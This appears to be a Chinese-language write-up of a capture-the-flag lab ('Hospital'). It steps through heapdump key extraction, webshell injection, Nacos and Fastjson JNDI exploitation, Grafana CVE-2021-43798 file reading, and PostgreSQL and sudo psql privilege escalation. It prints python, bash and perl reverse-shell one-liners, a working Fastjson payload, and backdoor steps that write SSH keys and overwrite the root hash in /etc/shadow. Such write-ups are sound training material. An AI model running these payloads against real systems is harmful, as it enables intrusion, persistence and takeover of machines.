春秋云镜-Hospital
flag1
先fscan扫描
注意jsessionid=CDA9870C3247ABB39CA537E7905DB364
heapdump泄露,然而不知道在哪下.dirsearch扫一下
发现在/actuator/heapdump
http://39.99.150.223:8080/actuator/heapdump
这里使用JDumpSpider来进行敏感信息搜集
需要Java8,heapdump放同目录
1
"C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
得到密钥:GAYysgMQhG7/CzIJlVpR2g==
algMode = CBC
algName = AES
这里注入蚁剑和冰蝎都可以
蚁剑:
不能直接读flag文件,走suid提权
反弹个shell
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vpsip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
起个pty
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
vim.basic提权读到flag1
1
vim.basic /root/flag/flag01.txt
冰蝎:
直接用自带反弹shell
1
vim.basic /root/flag/flag01.txt
这里可以写个公钥,留个后门
也可以用 OpenSSL生成root密钥
flag2
用冰蝎上传fscan
发现两个web资产
http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
先搭一个socks代理
本机上开proxifier访问web2
nacos:nacos默认密码登录
这里尝试用下面这个工具
1
"C:\Program Files\Java\jdk1.8.0_65\bin\javac.exe" src/artsploit/AwesomeScriptEngineFactory.java
1
C:\Program Files\Java\jdk1.8.0_65\bin\jar.exe" -cvf yaml-payload.jar -C src/ .
可以利用SQL漏洞注入内存马
冰蝎连接即可
得到flag2
flag3
用bp浏览器打开172.30.12.236:8080,抓包
发现json形式传输数据
方法1,用bp插件来打
https://github.com/amaz1ngday/fastjson-exp
连接哥斯拉,得到flag
方法2,起一个jndi_tool.jar
因为本题不出网,需要在入口机上传一个jndi_tool.jar
1
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >& /dev/tcp/172.30.12.5/1234 0>&1"
然后在入口机通过nc -lvnp去监听.
扔到burp的fastjson插件生成一个json
然后修改dns为入口机ip,在burp下发送恶意的json.
1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.30.12.5:1099/Object",
"autoCommit":true
}
}
成功反弹shell
这里我们在哥斯拉留后门比较方便
方法1
把公钥写进/root/.ssh/authorized_keys
方法2
1
openssl passwd -6 "new_root_pass"
1
2
# 一行命令生成哈希并写入/etc/shadow
sed -i "s|^root:[^:]*:|root:$(openssl passwd -6 "new_root_pass"):|" /etc/shadow
这里ifconfig发现存在双网卡
传个fscan来扫一下
发现新的资产不同于之前的网段
多层代理即可
flag4
只存在一个172.30.54.12的Grafana服务. grafana数据库存在漏洞CVE-2021-43798,导致任意文件读取.利用工具读出data_source的信息.
1
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
得到user:[postgres] password[Postgres@123]database:[postgres]
直接登录数据库
查看版本
后续需要用psql提权,所以先改一下root密码
1
ALTER USER root WITH PASSWORD '123456';
创建命令执行函数
1
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
perl反弹shell
这里需要在flag3的机子上开监听(需要交互式环境,用上述的后门即可)
1
select system('perl -e \'use Socket;$i="172.30.54.179";$p=250;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
反弹成功后起个交互式shell
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l查看到存在psql
| 打psql提权:[psql | GTFOBins](https://gtfobins.github.io/gtfobins/psql/) |
1
2
3
4
5
sudo /usr/local/postgresql/bin/psql
123456
\?
!/bin/bash
cat /root/flag/flag04.txt
参考文章:
【内网渗透】最保姆级的春秋云镜Hospital打靶笔记_jdumpspider-1.1-snapshot-full-CSDN博客





















